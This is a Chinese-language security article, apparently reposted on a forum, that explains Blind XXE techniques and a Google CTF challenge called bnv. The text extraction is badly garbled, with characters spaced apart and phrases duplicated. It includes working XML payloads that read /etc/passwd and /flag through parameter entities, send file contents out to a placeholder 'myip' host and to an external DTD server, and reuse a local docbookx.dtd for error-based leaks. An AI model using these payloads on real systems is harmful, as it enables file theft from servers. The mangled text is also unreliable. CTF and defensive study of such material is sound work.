搜索

[14349] 2019-07-15_BlindXXE详解与GoogleCTF一道题分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2019-07-15_BlindXXE详解与GoogleCTF一道题分析 B l i n d   X X E 详 解 与 G o o g l e   C T F 一 道 题 分 析 J r X n m 2 3 3   F r e e B u f   2 0 1 9 - 0 7 - 1 5 现 在 来 看 有 回 显 的 现 在 来 看 有 回 显 的 X X E 已 经 很 少 了 ， 已 经 很 少 了 ， B l i n d   X X E 重 点 在 于 如 何 将 数 据 传 输 出 来 。 以 往 很 多 文 章 通 过 引 入 外 部 服 务 器 或 者 本 地 重 点 在 于 如 何 将 数 据 传 输 出 来 。 以 往 很 多 文 章 通 过 引 入 外 部 服 务 器 或 者 本 地 d t d 文 件 ， 可 以 实 现 文 件 ， 可 以 实 现 O O B ( o u t - o f - b a n d ) 信 息 传 递 和 通 过 构 造 信 息 传 递 和 通 过 构 造 d t d 从 错 误 信 息 获 取 数 据 。 从 错 误 信 息 获 取 数 据 。 无 论 是 上 面 的 O O B 、 还 是 基 于 错 误 的 方 式 ， 无 一 例 外 都 需 要 引 入 外 部 D T D 文 件 。 而 为 什 么 要 引 入 外 部 D T D 文 件 ， 很 多 文 章 在 这 里 都 是 稍 稍 一 笔 带 过 。 这 篇 文 章 将 详 细 分 析 这 两 种 B l i n d   X X E 的 原 理 和 为 啥 需 要 引 入 外 部 D T D 文 件 ， 最 后 也 发 现 一 些 情 况 不 用 引 入 外 部 D T D 文 件 也 能 直 接 做 的 情 况 （ 今 年 g o o g l e   c t f   就 可 以 ） 下 面 测 试 就 用 以 下 的 p h p 代 码 来 测 试 。 参 数 实 体 参 数 实 体 X M L 的 D T D 可 以 定 义 普 通 实 体 和 参 数 实 体 两 种 实 体 类 型 ， 而 这 两 种 类 型 也 可 以 再 分 别 为 内 部 实 体 和 外 部 实 体 。 X X E ， 全 称 就 为 X M L 外 部 实 体 注 入 漏 洞 。 通 过 外 部 实 体 S Y S T E M 请 求 本 地 文 件 u r i ， 通 过 某 种 方 式 返 回 本 地 文 件 内 容 就 导 致 了 X X E 漏 洞 。 声 明 内 部 实 体 和 外 部 实 体 区 别 如 下 B l i n d   X X E   需 要 使 用 到 D T D 约 束 自 定 义 实 体 中 的 参 数 实 体 。 参 数 实 体 是 只 能 在 D T D 中 定 义 和 使 用 的 实 体 ， 以 % 为 标 志 定 义 ， 定 义 和 使 用 方 法 如 下 而 且 参 数 实 体 还 能 嵌 套 定 义 ， 但 需 要 注 意 的 是 ， 内 层 的 定 义 的 参 数 实 体 %   需 要 进 行 H T M L 转 义 ， 否 则 会 出 现 解 析 错 误 。 B l i n d   X X E O O B 引 入 服 务 器 引 入 服 务 器 D T D 文 件 文 件 既 然 外 部 实 体 可 以 通 过 请 求 内 部 文 件 u r i 获 得 内 部 文 件 内 容 ， 那 么 这 样 的 话 我 们 可 以 写 两 个 外 部 参 数 实 体 ， 第 一 个 用 f i l e 协 议 请 求 本 地 文 件 并 将 内 容 保 存 在 参 数 实 体 中 ， 第 二 个 用 h t t p 或 者 f t p 协 议 请 求 自 己 的 服 务 器 并 带 上 文 件 内 容 。 这 样 可 以 吗 ， 在 这 本 书 《 X M L   S c h e m a ,   D T D ,   a n d   E n t i t y   A t t a c k s 》 第 1 0 页 中 明 确 表 示 了 不 行 ， 几 乎 所 有 X M L 解 析 器 都 不 会 解 析 同 级 参 数 实 体 的 内 容 。 但 是 在 上 面 我 们 也 展 示 了 参 数 实 体 也 可 以 嵌 套 定 义 ， 当 两 个 参 数 实 体 不 是 同 一 级 时 。 我 们 尝 试 调 用 一 下 。 如 上 ， 我 们 先 调 用 s t a r t 参 数 实 体 ， 生 成 了 s e n d 参 数 实 体 声 明 。 在 s e n d 参 数 实 体 声 明 中 ， 调 用 了 f i l e s 参 数 实 体 并 请 求 了 相 关 链 接 。 测 试 发 现 报 错 P E R e f e r e n c e s   f o r b i d d e n   i n   i n t e r n a l   s u b s e t   i n   E n t i t y P E R e f e r e n c e s   指 的 是 参 数 实 体 引 用 ( P a r a m e t e r   E n t i t y   R e f e r e n c e ) ， 禁 止 在 内 部 E n t i t y 中 引 用 参 数 实 体 。 也 就 是 因 为 这 个 限 制 ， 所 以 前 人 就 想 到 ， 既 然 内 部 不 行 就 引 用 外 部 的 D T D 试 试 。 现 在 在 自 己 的 服 务 器 中 加 入 下 列 D T D 文 件 。 x m l . d t d 然 后 请 求 的 数 据 为 下 面 ( 用 p h p 协 议 将 发 送 的 数 据 编 码 为 b a s e 6 4 ) 成 功 读 到 文 件 ！ 引 用 本 地 引 用 本 地 D T D 文 件 文 件 < ? p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( f a l s e ) ; $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ; $ c r e d s   =   s i m p l e x m l _ i m p o r t _ d o m ( $ d o m ) ; < ! E N T I T Y   实 体 名   S Y S T E M   u r l   >   / / 外 部 实 体 < ! E N T I T Y   实 体 名   实 体 的 值   >   / / 内 部 实 体 < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   n o r m a l   " h e l l o " >     < ! - -   内 部 普 通 实 体   - - >         < ! E N T I T Y   n o r m a l   S Y S T E M   " h t t p : / / x m l . o r g / h h h . d t d " >     < ! - -   外 部 普 通 实 体   - - >         < ! E N T I T Y   %   p a r a   S Y S T E M   " f i l e : / / / 1 2 3 4 . d t d " >     < ! - -   外 部 参 数 实 体   - - >         % p a r a ;                         < ! - -   引 用 参 数 实 体   - - > ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   t e s t   [         < ! E N T I T Y   %   o u t s i d e   ' < ! E N T I T Y   & # x 2 5 ;   f i l e s   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ' > ] > < m e s s a g e > & n o r m a l ; < / m e s s a g e > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e s   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s e n d   S Y S T E M   " h t t p : / / m y i p / ? a = % f i l e s ; " >           % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p / ? % f i l e ; ' > " >         % s t a r t ;         % s e n d ; ] > < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p : 1 0 0 0 1 / ? % f i l e ; ' > " > % s t a r t ; < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / m y i p / x m l . d t d " >             < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         % r e m o t e ;         % s e n d ; ] >
如 果 目 标 主 机 的 防 火 墙 十 分 严 格 ， 不 允 许 我 们 请 求 外 网 服 务 器 d t d 呢 ？ 由 于 X M L 的 广 泛 使 用 ， 其 实 在 各 个 系 统 中 已 经 存 在 了 部 分 D T D 文 件 。 按 照 上 面 的 理 论 ， 我 们 只 要 是 从 外 部 引 入 D T D 文 件 ， 并 在 其 中 定 义 一 些 实 体 内 容 就 行 。 我 们 先 来 就 看 看 u b u n t u 系 统 自 带 的 / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d 部 分 内 容 它 定 义 了 很 多 参 数 实 体 并 调 用 了 它 。 那 么 其 实 ， 我 们 可 以 在 内 部 重 写 一 个 该 d t d 文 件 中 含 有 的 参 数 实 体 ， 而 此 时 调 用 是 在 外 部 ， 这 样 仍 然 可 以 实 现 其 中 ， 这 里 已 经 是 三 层 参 数 实 体 嵌 套 了 ， 第 二 层 嵌 套 时 我 们 只 需 要 给 定 义 参 数 实 体 的 % 编 码 ， 第 三 层 就 需 要 在 第 二 层 的 基 础 上 将 所 有 % 、 & 、 ’ 、 ”   h t m l 编 码 。 我 们 仔 细 看 一 下 很 好 理 解 ， 第 一 个 调 用 的 参 数 实 体 是 % r e m o t e ， 在 / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d 文 件 中 调 用 了 % I S O a m s o ; ， 在 I S O a m s o 定 义 的 实 体 中 相 继 调 用 了 e v a l 、 和 s e n d 。 在 这 里 不 直 接 使 用 两 层 嵌 套 的 原 因 是 ， 如 果 直 接 用 两 层 仍 然 会 报 P E R e f e r e n c e s   f o r b i d d e n   i n   i n t e r n a l   s u b s e t   i n   E n t i t y   错 误 。 基 于 报 错 的 基 于 报 错 的 B l i n d   X X E 基 于 报 错 的 原 理 和 O O B 类 似 ， O O B 通 过 构 造 一 个 带 外 的 u r l 将 数 据 带 出 ， 而 基 于 报 错 是 构 造 一 个 错 误 的 u r l 并 将 泄 露 文 件 内 容 放 在 u r l 中 ， 通 过 这 样 的 方 式 返 回 数 据 。 所 以 和 O O B 的 构 造 方 式 几 乎 只 有 u r l 出 不 同 ， 其 他 地 方 一 模 一 样 。 通 过 引 入 服 务 器 文 件 通 过 引 入 服 务 器 文 件 x m l . d t d 通 过 引 入 本 地 文 件 通 过 引 入 本 地 文 件 重 新 审 视 为 啥 要 引 用 外 部 文 件 重 新 审 视 为 啥 要 引 用 外 部 文 件 按 照 上 面 的 说 法 ， 似 乎 一 定 要 引 用 外 部 文 件 。 在 w 3 关 于 X M L 协 议 中 有 这 样 一 段 话 : I n   t h e   i n t e r n a l   D T D   s u b s e t ,   p a r a m e t e r - e n t i t y   r e f e r e n c e s   M U S T   N O T   o c c u r   w i t h i n   m a r k u p   d e c l a r a t i o n s ;   t h e y   m a y   o c c u r   w h e r e   m a r k u p   d e c l a r a t i o n s   c a n   o c c u r .   ( T h i s   d o e s   n o t   a p p l y   t o r e f e r e n c e s   t h a t   o c c u r   i n   e x t e r n a l   p a r a m e t e r   e n t i t i e s   o r   t o   t h e   e x t e r n a l   s u b s e t . ) 简 单 翻 译 一 下 ： 在 内 部 D T D 集 中 ， 参 数 实 体 的 引 用 不 能 存 在 于 标 记 的 声 明 中 。 这 并 不 适 用 于 外 部 的 参 数 实 体 中 。 这 意 味 着 ， 协 议 本 身 就 必 须 要 求 不 能 在 内 部 的 实 体 声 明 中 内 部 的 实 体 声 明 中 引 用 参 数 ， G o o g l e   C T F   b n v 在 今 年 的 G o o g l e   C T F   中 出 了 一 道 B l i n d   X X E   题   b n v ， 这 道 题 完 整 W P 可 以 参 考 这 里 ， 我 们 这 里 只 分 析 B l i n d   X X E 部 分 。 这 题 目 可 以 从 错 误 响 应 中 泄 露 信 息 。 因 为 题 目 无 法 和 外 界 通 信 ， 我 自 己 思 考 和 看 别 人 的 p a y l o a d 都 是 通 过 引 入 本 地 D T D 文 件 做 得 。 p a y l o a d 并 不 复 杂 ， 就 和 我 们 上 面 分 析 的 一 样 可 是 我 发 现 ， 如 果 我 不 引 用 外 部 D T D 文 件 ， 直 接 通 过 嵌 套 参 数 实 体 ， 这 道 题 同 样 可 以 做 出 来 。 有 趣 的 发 现 有 趣 的 发 现 < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   e v a l   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   s e n d   S Y S T E M   & # x 2 7 ; h t t p : / / m y i p / ? & # x 2 5 ; f i l e ; & # x 2 7 ; > " >                 & # x 2 5 ; e v a l ;                 & # x 2 5 ; s e n d ;         ' >           % r e m o t e ; ] > < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' f i l e : / / / h h h h h h h / % f i l e ; ' > " > % s t a r t ; < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / b l o g . s z f s z f . t o p / x m l . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         % r e m o t e ;         % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   e v a l   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   s e n d   S Y S T E M   & # x 2 7 ; f i l e : / / h h h h h h h h / ? & # x 2 5 ; f i l e ; & # x 2 7 ; > " >                 & # x 2 5 ; e v a l ;                 & # x 2 5 ; s e n d ;         ' >           % r e m o t e ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % r e m o t e ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   p a r a   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % p a r a ; ] >
我 发 现 ， 虽 然 W 3 C 协 议 是 不 允 许 在 内 部 的 实 体 声 明 中 引 用 参 数 实 体 ， 但 是 很 多 X M L 解 析 器 并 没 有 很 好 的 执 行 这 个 检 查 。 几 乎 所 有 X M L 解 析 器 能 够 发 现 如 下 这 种 两 层 嵌 套 式 的 ： 但 是 对 于 三 层 嵌 套 参 数 实 体 构 造 的 p a y l o a d 有 些 X M L 解 析 器 是 无 法 检 测 出 来 的 ， 比 如 我 本 次 测 试 的 两 种 组 合 p h p 7 . 2   +   l i b x m l 2   2 . 9 . 4 版 本 和 p h p 5 . 4   +   l i b x m l 2   2 . 9 . 1 都 是 可 以 有 效 利 用 的 ： 这 意 味 着 ， 不 用 引 用 外 部 d t d 也 可 以 实 现 B l i n d   X X E 。 参 考 链 接 参 考 链 接 h t t p s : / / w w w . w 3 . o r g / T R / x m l / # w f c - P E i n I n t e r n a l S u b s e t h t t p s : / / w w w . v s e c u r i t y . c o m / / d o w n l o a d / p a p e r s / X M L D T D E n t i t y A t t a c k s . p d f h t t p s : / / m o h e m i v . c o m / a l l / e x p l o i t i n g - x x e - w i t h - l o c a l - d t d - f i l e s / h t t p s : / / p h o n e x i c u m . g i t h u b . i o / i n f o s e c / x x e . h t m l h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / D o c u m e n t _ t y p e _ d e f i n i t i o n h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 9 5 8 9 9 . h t m l * 本 文 作 者 ： 本 文 作 者 ： J r X n m 2 3 3 ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 阅 读 原 文 < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p / ? % f i l e ; ' > " >         % s t a r t ;         % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   p a r a   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % p a r a ; ] >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理